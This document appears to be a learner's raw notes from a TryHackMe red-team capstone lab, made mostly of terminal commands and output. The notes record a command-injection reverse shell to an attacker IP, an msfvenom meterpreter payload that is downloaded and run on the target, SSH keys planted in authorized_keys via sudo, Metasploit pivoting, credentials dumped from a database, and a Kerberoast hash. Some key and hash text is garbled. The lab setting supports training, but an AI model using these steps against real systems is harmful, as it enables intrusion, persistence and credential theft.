ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQgQDI+uTlQZnkSDxc8HcH9PpX2UromngpyBkAsVVSay8xtkuNX8+8b0Rjhk9x4d4SlkIYXPveifSFyRFH+FIsyECuuYsVhJCzNMN+dIXt+fViDj9HG3U2e8Tv0
kl79q9Gg10EL0KICRMcESKEe7Jsat1BwcdQ7pATO3If9r7RAXHhQ/7N11UshinQDM2JnvG4jg7pFM/4xw2CXzVYXL75msbI9QqWIIY36sCJtR5a5+2WdPNTI1PJa4EGbaU5cGDGcDgTD11LHPwoowbFT6Wh
M0DR2jexYKPyBNB5I3fytLYBpZ3lSsFvmut7hXuWGIS0agJcLMjvEUUkvMhQu+tmnzXbwzLMnlfzEdbYszG5eNA7HU7aSS2GZXRa2M62DnDxOUAadlI4rxU36bcPFca200EIKmf34JDF1P7rD+AHmo/FHLE
Vk69jcUkq1+LUSQ5/WKK19uFclCjw33ngpy5AZn4lkik+UGsOMIAUH4m3EzE+VQIvugH0S1e0cdlF0eE= kali@kali

(kali@kali)~[/TryHackMe/RedTeam_Capstone]
$ ssh ubuntu@10.200.118.12 -i id_rsa
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.4.0-1101-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Fri May 2 12:53:47 UTC 2025

System load:  0.08           Processes:    116
Usage of /:   50.4% of 7.68GB Users logged in:  0
Memory usage: 19%          IP address for ens5: 10.200.118.12
Swap usage:   0%            IP address for tun0: 12.100.1.1

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

72 packages can be updated.
1 update is a security update.

Last login: Fri May 2 05:54:19 2025 from 10.50.115.224
ubuntu@ip-10-200-118-12:~$
```

```

www-data@ip-10-200-118-12:/var/www/html$ cat /dev/stdin "$FILE"
www-data@ip-10-200-118-12:/var/www/html$ FILE=/home/ubuntu/.ssh/authorized_keys
<r/www/html$ FILE=/home/ubuntu/.ssh/authorized_keys
www-data@ip-10-200-118-12:/var/www/html$

www-data@ip-10-200-118-12:/var/www/html$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDII+utIQZnkSDxc8HcH9PpX2UromngpyBkAsVVSay8xtkuNX8+8bORjhk9+4d4SlkIYXpveif
SFyRFH+FI5yECuuYsVhJCzNMN+dIXt+fViDj9HG3U2e8Tv0kL79qp9Ggi0EL0KICRMcESKE7Jsat1wBwcDQ7pAT03If9r7RAxHhQ/7N11UshinQDM2JnvG4jg7pFM/4xw2CXzVYXL75msbI9QqwIIY36sCjt
R5a5+2WdPntIIPJaaEGbaU5cGDGcdGT0D11LHPWoowbFT6WhM0DR2jexYKPy8NB5I3fytlYBpZ3lSsFvmut7hXuWGI50agJcLMjvEUUkvMhQu+tmnzXbwzLMn1fzEdbYszG5eNA7HU7aSS2GZXRa2M620nDxOU
Aadldl14rxU36bcpFca200EIKmf34JDFiP7D+Ahhmo/FHLEvk69jcUkq1+LUSQ5/WKKi9uFCLCjw33ngpy5A2n4lkik+Ug50MIAUH4m3EzE+VQlvugH0SieOcdLF0eE= kali@kali" | sudo /bin/cp /d
ev/stdin "$FILE"
<F0eE= kali@kali" | sudo /bin/cp /dev/stdin "$FILE"
www-data@ip-10-200-118-12:/var/www/html$

```

msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=10.50.115.251 LPORT=8080 -f elf > reverse.elf

```

kali@kali:~/TryHackMe/RedTeam_Capstone$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.50.115.251 LPORT=8080 -f elf > reverse2.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes

```

```

kali@kali:~/TryHackMe/RedTeam_Capstone$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.200.118.12 - - [02/May/2025 09:26:46] "GET /reverse.elf HTTP/1.1" 200 -
10.200.118.12 - - [02/May/2025 09:30:01] "GET /reverse2.elf HTTP/1.1" 200 -

```

```

ubuntu@ip-10-200-118-12:~/omars$ sudo wget http://10.50.115.251/reverse2.elf
--2025-05-02 13:30:00-- http://10.50.115.251/reverse2.elf
Connecting to 10.50.115.251:80 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: 'reverse2.elf'

```

```

reverse2.elf 100%[=====]
2025-05-02 13:30:01 (29.7 MB/s) - 'reverse2.elf' saved [250/250]

ubuntu@ip-10-200-118-12:~/omars$ sudo chmod +x reverse2.elf
ubuntu@ip-10-200-118-12:~/omars$ ./reverse.elf
Segmentation fault (core dumped)
ubuntu@ip-10-200-118-12:~/omars$ ./reverse2.elf

```

```

msf6 exploit(multi/handler) > set LHOST 10.50.115.251
LHOST => 10.50.115.251
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.50.115.251:8080

```

```

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

```

```

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.50.115.251:8080
[*] Sending stage (3045380 bytes) to 10.200.118.12
[*] Meterpreter session 3 opened (10.50.115.251:8080 -> 10.200.118.12:52206) at 2025-05-02 09:36:30 -0400

meterpreter >

```

## Port Forwarding & lateral movmet



```

msf6 auxiliary(server/socks_proxy) > set srvport 9050
srvport => 9050
msf6 auxiliary(server/socks_proxy) > set srvhost 0.0.0.0
srvhost => 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 4a
version => 4a
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 3.

[*] Starting the SOCKS proxy server
[*] Stopping the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > use post/multi/manage/autoroute
[-] No results from search
[-] Failed to load module: post/multi/manage/autoroute
msf6 auxiliary(server/socks_proxy) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > session
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf6 post(multi/manage/autoroute) > sessions

Active sessions
==

```

Id	Name	Type	Information	Connection
5		meterpreter	x64/linux ubuntu @ ip-10-200-118-12.eu-west-1.compute.internal	10.50.115.251:8080 → 10.200.118.12:39470 (10.200.118.12)

```

msf6 post(multi/manage/autoroute) > set session 5
session => 5
msf6 post(multi/manage/autoroute) > set subnet 10.200.118.0
subnet => 10.200.118.0
msf6 post(multi/manage/autoroute) > run
[*] Running module against ip-10-200-118-12.eu-west-1.compute.internal
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.200.118.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 12.100.1.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf6 post(multi/manage/autoroute) >

```

## VERY Important

```

[-] Failed to load module: post/multi/manage/autoroute
msf6 auxiliary(server/socks_proxy) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > session
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf6 post(multi/manage/autoroute) > sessions

Active sessions
==

```

Id	Name	Type	Information	Connection
5		meterpreter	x64/linux ubuntu @ ip-10-200-118-12.eu-west-1.compute.internal	10.50.115.251:8080 → 10.200.118.12:39470 (10.200.118.12)

```

msf6 post(multi/manage/autoroute) > set session 5
session => 5
msf6 post(multi/manage/autoroute) > set subnet 10.200.118.0
subnet => 10.200.118.0
msf6 post(multi/manage/autoroute) > run
[*] Running module against ip-10-200-118-12.eu-west-1.compute.internal
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.200.118.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 12.100.1.0/255.255.255.0 from host's routing table.
[*] Post module execution completed

```


static-garage-hair-barbara-harbor-3381

## Http(80)


PORT STATE SERVICE VERSION  
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))  
|\_http-title: VPN Request Portal  
|\_http-server-header: Apache/2.4.29 (Ubuntu)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

### To Do list

- Browse the website
  - o check for usernames.....emails.....etc.
- Check source code
- Check robots.txt
- Gobuster - dir search
  - o gobuster dir -u 10.200.116.12 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- Gobuster - vhosts
  - o gobuster vhost -u 10.200.116.12 -w /usr/share/wordlists/SecLists/Discovery/DNS/xxxxxxx.txt
- Nikto
  - o nikto -h 10.200.116.13



So we have a **code execution** here






## Successfully got a reverse shell

Test `&& /bin/bash -i >& /dev/tcp/10.50.220.51/1234 0>&1`

`test+%26%26+/bin/bash+-i+>%26+/dev/tcp/10.50.220.51/1234+0>%261`



```
www-data@ip-10-200-116-12:/var/www/html$ cat db_connect.php
cat db_connect.php
<?php
```

```
define('DB_SRV', 'localhost');
define('DB_PASSWD', "password1!");
define('DB_USER', 'vpn');
define('DB_NAME', 'vpn');

$connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);

if($connection == false){

    die("Error: Connection to Database could not be made." . mysqli_connect_error());
}
?>
```

`test+%26%26+/bin/bash+-i+>%26+/dev/tcp/10.50.113.119/1234+0>%261`

```

Pretty Raw Hex
1 GET /requestvpn.php?filename=
  test+%26%26+/bin/bash+-i+%26+/dev/tcp/10.50.113.119/1234+0>
  %26!sp HTTP/1.1
2 Host: 10.200.116.12
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:137.0)
  Gecko/20100101 Firefox/137.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=
  0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Referer: http://10.200.116.12/vpncontrol.php
9 Cookie: PHPSESSID=q01196l3i05m29cbf3d7k1ac8e
10 Upgrade-Insecure-Requests: 1
11 Priority: u=0, i
12
13

```

## Connect to data base but first I need to make it stable (pty.spawn)

This command is very important

```
www-data@ip-10-200-116-12:/home/ubuntu$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
```

```

[www@kali:~/Capstone_Challenge_Resources]
$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.50.113.119] from (UNKNOWN) [10.200.116.12] 36536
bash: cannot set terminal process group (1014): inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-10-200-116-12:/var/www/html$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
<bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ip-10-200-116-12:/var/www/html$ ls
ls
db_connect.php  logout.php      thereserve.png  vpncontrol.php
index.php      phpinfo_test.php  upload.php      vpns
login.php      requestvpn.php    vpn
www-data@ip-10-200-116-12:/var/www/html$ cat db_connect.php
cat db_connect.php
<?php
define('DB_SRV', 'localhost');
define('DB_PASSWD', 'password1');
define('DB_USER', 'vpn');
define('DB_NAME', 'vpn');

$con = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);

if($con == false){
    die("Error: Connection to Database could not be made." . mysqli_connect_error());
}

7>
www-data@ip-10-200-116-12:/var/www/html$ mysql -u vpn -p
mysql -u vpn -p
Enter password: password1!

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 10
Server version: 5.7.41-0ubuntu0.18.04.1 (Ubuntu)

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affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

```

```

www-data@ip-10-200-116-12:/var/www/html$ mysql -u vpn -p
mysql -u vpn -p
Enter password: password1!

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 10
Server version: 5.7.41-0ubuntu0.18.04.1 (Ubuntu)

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affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input s

mysql> show databases;
show databases;
+-----+
| Database |
+-----+
| information_schema |
| mysql |
| performance_schema |
| sys |
| vpn |
+-----+
5 rows in set (0.00 sec)

mysql>

```

Inside VPN data base

```

mysql> select * from users;
select * from users;
+-----+-----+
| USERNAME | PASSWORD |
+-----+-----+
| test | test |
| lisa.moore | Scientist2006 |
+-----+-----+
2 rows in set (0.00 sec)

mysql>

```

Username ==> test password ==> test

Username ==> lisa.moore password ==> Scientist2006

---

LFILE=/home/ubuntu/.ssh/authorized\_keys

echo "ssh-rsa

AAAAB3NzaC1yc2EAAAADAQABAAQGC3jCZaRd0gPQa5pVCf7OSBBc3njyOh7DAXO4ogGlaYGnWlpijveb1q/AmNEjsh+BaQm5vSU5f2FQjKQBq5Sg3QnRa0JCWIXD/xtE21TGcNf4U5qXFoVHFd51+  
2tDuQ6/rPzeQXq4MPAaxlWD0Or00iECTxzHwJ5pskeMSc4JtzmcGyR6zEzQRPxHs69w2a3UmShnvm5dCjshHdfrXCKMT9b+T2qVp6nA82rdo2BwYkNwGfA7l5eGThMAAzCZBTP  
0cCrcewYdwYW/7MECFs0cPNDLqzfKwgU0JLkUxhEcCaHiQezakyih2FFBdZQJWt+HWRJatpGSS+khqfNZlGsKfzQ58UGgt0LH1iVmX8oTtZOCYTZYAuc2A05kfm bAvElfAdFtwTlg

```
VaDYTxWc0F7WJDkNwJT4FTGh3QjKekiN5h3qqdPNAO+gkr3GPw/5KgqEDrJrO48hDT+2iy7wjE5IO3aX1HjdLe7HsioDgaavPyTEv3evbUnSbBRhQABdHUK= kali @kali" | sudo  
/bin/cp /dev/stdin /home/ubuntu/.ssh/authorized_keys
```

# WRK1

smbclient -L [\\\\10.200.116.22\\](http://10.200.116.22/)

nmap -p- 10.200.116.21 -Pn (we use Pn to avoid blocking the host by the firewall)

**nmap -p 22,135,139,445,3389,5985 -A 10.200.116.21 -Pn**

PORT STATE SERVICE VERSION

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|\_http-server-header: Microsoft-HTTPAPI/2.0

|\_http-title: Not Found

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

So by using remina I got access to the RDP by the laura.wood creds

## Tier 0

```
C:\Users\laura.wood>net group "Tier 0 Admins" /domain
The request will be processed at a domain controller for domain corp.therese
rve.loc.

Group name      Tier 0 Admins
Comment

Members
-----
---
t0_heather.powell    t0_josh.sutton
The command completed successfully.

C:\Users\laura.wood>
```

## Tier 1

```
Command Prompt
The command completed successfully.

C:\Users\laura.wood>net group "Tier 1 Admins" /domain
The request will be processed at a domain controller for domain corp.therese.rve.loc.

Group name      Tier 1 Admins
Comment

Members
-----
---
t1_amber.smith      t1_anna.thomas      t1_annette.lloyd
t1_diane.smith      t1_elizabeth.davey  t1_hannah.thomas
t1_harriet.kelly    t1_heather.powell   t1_josh.sutton
t1_karl.nicholson   t1_kayleigh.shaw    t1_kim.morton
t1_leslie.lewis     t1_lynne.lewis      t1_nicholas.jackson
t1_oliver.williams  t1_rachel.marsh     t1_russell.hughes
t1_steven.hewitt    t1_susan.finch

The command completed successfully.

C:\Users\laura.wood>
```

## Tier 2

```
Group name      Tier 2 Admins
Comment

Members
-----
---
t2_alexander.bentley t2_amber.smith      t2_amy.blake
t2_annette.lloyd     t2_brett.taylor     t2_bruce.wilkins
t2_charlene.taylor   t2_diane.smith      t2_douglas.martin
t2_edward.banks      t2_emma.james       t2_hannah.thomas
t2_hannah.willis    t2_jane.bailey      t2_janice.gallagher
t2_jennifer.finch    t2_joan.smith       t2_jordan.hutchinson
t2_joseph.lee        t2_karl.nicholson   t2_kenneth.morgan
t2_kerry.webster     t2_kimberley.thomson t2_lesley.scott
t2_malcolm.holmes    t2_megan.woodward   t2_michael.kelly
t2_mohammed.davis    t2_rachel.marsh     t2_rebecca.mitchell
t2_richard.harding   t2_simon.cook       t2_teresa.evans
t2_terry.lewis       t2_william.alexander t2_william.brown

The command completed successfully.
```

## SSH(22)

```
22/tcp open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|  2048 21:78:e2:79:d3:93:ee:f9:aa:70:94:ec:01:b3:a5:8f (RSA)
|  256 e0:f7:b6:67:c9:93:b5:74:0f:0a:83:ff:ef:55:c8:9a (ECDSA)
|_ 256 bd:83:0c:e3:b4:4f:78:f2:e3:4a:52:03:3c:a5:ce:58 (ED25519)
```

# SMB(135,139,445)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?



# RDP

```
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: CORP
|   NetBIOS_Domain_Name: CORP
|   NetBIOS_Computer_Name: WRK1
|   DNS_Domain_Name: corp.thereserve.loc
|   DNS_Computer_Name: WRK1.corp.thereserve.loc
|   DNS_Tree_Name: thereserve.loc
|   Product_Version: 10.0.17763
|_  System_Time: 2025-04-18T13:58:33+00:00
| ssl-cert: Subject: commonName=WRK1.corp.thereserve.loc
| Not valid before: 2025-04-15T18:03:19
|_ Not valid after: 2025-10-15T18:03:19
|_ ssl-date: 2025-04-18T13:59:12+00:00; 0s from scanner time.
```

## WRK2

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

5985/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
----------	------	------	---

|\_http-server-header: Microsoft-HTTPAPI/2.0  
|\_http-title: Not Found  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

# SSH

```
22/tcp open ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 e6:f0:fb:5b:24:28:68:13:da:dd:c5:5f:67:4e:be:4f (RSA)
| 256 93:f5:8f:4c:31:15:fc:8e:38:03:3e:d5:b7:1c:ed:d3 (ECDSA)
|_ 256 56:3f:8a:33:a4:1f:dc:11:9a:a1:67:a6:7d:f8:76:18 (ED25519)
```

# SMB

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

# RDP

```
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WRK2.corp.thereserve.loc
| Not valid before: 2025-04-15T18:03:19
|_ Not valid after: 2025-10-15T18:03:19
| rdp-ntlm-info:
|   Target_Name: CORP
|   NetBIOS_Domain_Name: CORP
|   NetBIOS_Computer_Name: WRK2
|   DNS_Domain_Name: corp.thereserve.loc
|   DNS_Computer_Name: WRK2.corp.thereserve.loc
|   DNS_Tree_Name: thereserve.loc
|   Product_Version: 10.0.17763
|_ System_Time: 2025-04-18T14:00:43+00:00
|_ ssl-date: 2025-04-18T14:01:22+00:00; 0s from scanner time.
```

Server1

## SSH(22)

```
22/tcp open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|  2048 82:ae:22:cc:49:19:d9:56:3e:44:c6:6a:e0:5d:48:af (RSA)
|  256 5a:27:8f:c0:5b:1c:5e:9b:58:ac:33:06:40:3d:e6:ce (ECDSA)
|_ 256 73:6e:08:4c:4d:ab:33:c7:48:13:7c:81:7e:5f:cb:38 (EdDSA)
```

# SMB(135-139-445)

135/tcp open msrpc Microsoft Windows RPC  
139/tcp open netbios-ssn Microsoft Windows netbios-ssn  
445/tcp open microsoft-ds?



## RDP(3389)

3389/tcp open ms-wbt-server Microsoft Terminal Services  
| ssl-cert: Subject: commonName=SERVER1.corp.thereserve.loc  
| Issuer: commonName=SERVER1.corp.thereserve.loc  
| Public Key type: rsa  
| Public Key bits: 2048  
| Signature Algorithm: sha256WithRSAEncryption  
| Not valid before: 2025-04-28T08:10:58  
| Not valid after: 2025-10-28T08:10:58  
| MD5: 6869 171e 4c50 4b89 42a6 9a13 0572 af8e  
| \_SHA-1: 566e 4314 b924 b1c9 f9cb fc96 e7f6 e339 24f0 c4d9  
| \_ssl-date: 2025-04-30T20:19:20+00:00; +1s from scanner time.

Foothod tier1 flag number fiveeeeeeeeeeee



Flag number 6

```
Administrator: Command Prompt
Microsoft Windows [Version 10.0.17763.3287]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\svcScanning>whoami
corp\svcscanning

C:\Users\svcScanning>cd C:\Windows\Temp

C:\Windows\Temp>echo "34f0572f-0f6d-488c-8131-9d43e334b96c" > omarahmedgamed1.txt

C:\Windows\Temp>cd C
The system cannot find the path specified.

C:\Windows\Temp>cd C:\Users\Administrator

C:\Users\Administrator>echo
ECHO is on.

C:\Users\Administrator>echo "becb7342-50a2-483e-9ee4-d0f478eaeaa0" > omarahmedgamed1.txt

C:\Users\Administrator>
```

Activate Windows  
Go to Settings to activate Windows.

Server2

# SSH

```
22/tcp open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 96:f3:07:80:46:b5:a6:f5:aa:c7:91:f5:de:44:92:a3 (RSA)
| 256 5a:5b:c2:ca:1d:90:a0:bf:a6:dc:60:38:7a:58:2c:a1 (ECDSA)
|_ 256 5f:a1:92:e5:d4:f1:cb:65:10:33:a8:9a:c3:12:6c:dc (EdDSA)
```

# SMB

135/tcp open msrpc Microsoft Windows RPC  
139/tcp open netbios-ssn Microsoft Windows netbios-ssn  
445/tcp filtered microsoft-ds

# RDP

3389/tcp open ms-wbt-server Microsoft Terminal Services  
| ssl-cert: Subject: commonName=SERVER2.corp.thereserve.loc  
| Issuer: commonName=SERVER2.corp.thereserve.loc  
| Public Key type: rsa  
| Public Key bits: 2048  
| Signature Algorithm: sha256WithRSAEncryption  
| Not valid before: 2025-04-28T08:10:58  
| Not valid after: 2025-10-28T08:10:58  
| MD5: 38f3 05e0 2823 973b 1035 5b39 9816 a7b7  
|\_SHA-1: f8da 83c5 8c4a 2dda 9e95 5d1d 5d5f c952 632f 6f03  
|\_ssl-date: 2025-04-30T20:23:44+00:00; +1s from scanner time.

## CORPDC

```
proxychains ./bloodhound.py -d corp.thereserve.loc -u laura.wood -p "Password1@" -c all -ns 10.200.118.102 --dns-tcp
```

```
└─$ proxychains ./bloodhound.py -d corp.thereserve.loc -u laura.wood -p "Password1@" -c all -ns 10.200.118.102 --dns-tcp
```

```
└─$ proxychains ./bloodhound.py -d corp.thereserve.loc -u laura.wood -p "Password1@" -c all -ns 10.200.52.102 --dns-tcp
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
/home/tyler/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.12)
ed version!
  warnings.warn("urllib3 ({}), or chardet ({}), charset_normalizer ({}), doesn't match a supported "
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:53 ... OK
INFO: Found AD domain: corp.thereserve.loc
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:53 ... OK
WARNING: Could not find a global catalog server, assuming the primary DC has this role
If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:53 ... OK
INFO: Getting TGT for user
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:88 ... OK
INFO: Connecting to LDAP server: corpdc.corp.thereserve.loc
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:53 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... corpdc.corp.thereserve.loc:88 ←socket error or timeout!
INFO: Kerberos auth to LDAP failed, trying NTLM
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:389 ... OK
INFO: Found 1 domains
INFO: Found 3 domains in the forest
INFO: Found 5 computers
INFO: Connecting to LDAP server: corpdc.corp.thereserve.loc
[proxychains] Strict chain ... 127.0.0.1:9050 ... corpdc.corp.thereserve.loc:88 ←socket error or timeout!
INFO: Kerberos auth to LDAP failed, trying NTLM
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:389
```

```
INFO: Found AD domain: corp.thereserve.loc
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:53 ... OK
WARNING: Could not find a global catalog server, assuming the primary DC has this role
If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:53 ... OK
INFO: Getting TGT for user
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:88 ... OK
INFO: Connecting to LDAP server: corpdc.corp.thereserve.loc
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:53 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... corpdc.corp.thereserve.loc:88 ←socket error
INFO: Kerberos auth to LDAP failed, trying NTLM
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:389 ... OK
INFO: Connecting to GC LDAP server: corpdc.corp.thereserve.loc
[proxychains] Strict chain ... 127.0.0.1:9050 ... corpdc.corp.thereserve.loc:88 ←socket error
INFO: Kerberos auth to LDAP failed, trying NTLM
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:3268 ... OK
INFO: Found 883 users
INFO: Found 58 groups
INFO: Found 7 gpos
```



\*Krb5tgs\$23\$\*svcEDR\$CORP.THERESERVE.LOC\$corp.thereserve.loc/svcEDR\*\$a24b2a0a4ded68107f3ac179eadd20d8  
\$432a521e190210f4572f4b376c0fb460839521480a5bde75b64ded75c6291a9b152f50de6744c10f4fab6b83161b635c45115811d9c7974945518a44601 68351f275692f39a87cad41e9  
fc480a5bd96f5c7046a8b9055171605008e564f1c733744de5f4edb794e24c9b901ae5e626e9768cf715eebf862c393ca3bbef11bb151ad027b32ce65104 7dd7295306dea9c9c0838937b4  
75ea31c3db3a93ebd073288139620c19a27f5958d4bfbd0482f8dc9f6bbcb23cf03a2581e174d28f16cedce96245363382f6697fea85aee3c5d9a315f96 2115256232f61280ba14e2a0b0  
c33f8b81b76db2c50a5e48811a645b131a197c9af6848fcd490801f2a41c11b9d08425df4ef5f6aa5056f07cdef369b829f5a506e6018b1b01b7dfa9d6f3564 f6793995ce39ba39aff7bd70cbb  
e3422a0283e735d91be44aef56d803694d480cd14a98d100c1bb00a4d961befc88e5c910eed0b257016b8a64457d807e10d4fb50e9a41af696727f0935e2 93bb2d663d9e87944e22098  
e5b758c8a30c4ed74d1c0b742f214699432557fda050a3761ef4d45d9c59a1cf7cbbd37a48ab925b8e82431af250247c7d9d93cf33f79500fa281ff150f0b c27f1db6d33d0ecc2dc5d2f1da96  
21fcd5109bf7eb702f7bafce721ed4a720646b46a22d4f7f83adec27320f7c1c2a2d55928000768f92e784b54fe8c9607d6694495db4a423acea3ba8e9c b42302e56f8b1a9b7446f096f7  
cd51d9f8b4f1b17d5ae245f13bae35f43d43b0cd2c136b8bd217353cd383fc1e512dfaf6032db376337b9990ddff669e59d41a7660673867d698496a c22693cd48c9ab18d4f2a93b1  
1fa25925c0a14607c6b76846ec35e76e2e793a9b3fa39cd7847ea844560225fb46d75c30daf693f18ab69f1c2c2d95b2c4fee64224d2c224452add139 473f4cf468a8a50f8c384214eb2



0e90ba1cb210fe77b6c748cb93e7a7b7fd8369aacfcf6117418573388657dd557622c2532edb78159abb8a22deafa338fc29b9cc8ec35d966e9b88f7633d73 8cb096a386feb4d0f782f44138 da7037651c3c9c71c5eadd13b1ed25db8195a07e5edd1e5d59d0ae7b28f23d67295b934e23b563042c4b3d6310cabc13195058795dec3dca2cc08e52324b 937f9836030a1133f7793989 900f61bc7f25d6054a8ea8af6c3d6605b77563b0b8fc3cbfd5a408f5a11c1596722445510185dd69068195e9946c74fd6a645a03928de9678b15ab0038ef 05636f1d2ba69d7ac4319e2fce 57a9104365be81f27abf7a7ceb6a90a89125c8400755347c39c3313b343c3e89c9c5b3b2ff0ffaff93455ced60a15eab40dcc22047cce41540e0ba75f4130 8273c1f1cc1239c4d401fec85c49 6f63a9749af7d6cd18bbbd26d7caccb1c1f8acb2f9282fbccca465c5b7b1bd068ea0f2bb9a9ba8607cb8464e67dc646700295f54ba5bd8c1fb841db3623f01 5e5da1d751a354d1c3f16d8a2e6 6b15c07625ffbc5a10b3b8987893ec6760487649faf3e5077f61d6d3bd57157f30fe664f

